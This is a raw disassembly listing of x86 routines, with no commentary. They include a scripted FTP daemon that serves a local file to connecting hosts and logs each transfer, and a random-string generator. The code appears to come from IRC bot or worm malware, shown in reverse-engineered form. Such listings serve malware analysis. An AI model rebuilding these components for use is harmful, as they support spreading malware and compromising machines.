		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44402C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444020
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444018
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_44400C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472B7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44768F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6EDB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DF8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44768F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		call	sub_5EE1E5
		nop
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DF8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		call	near ptr 28302B0h
		nop


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E84
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6ED9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472BB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6ED9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F70
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
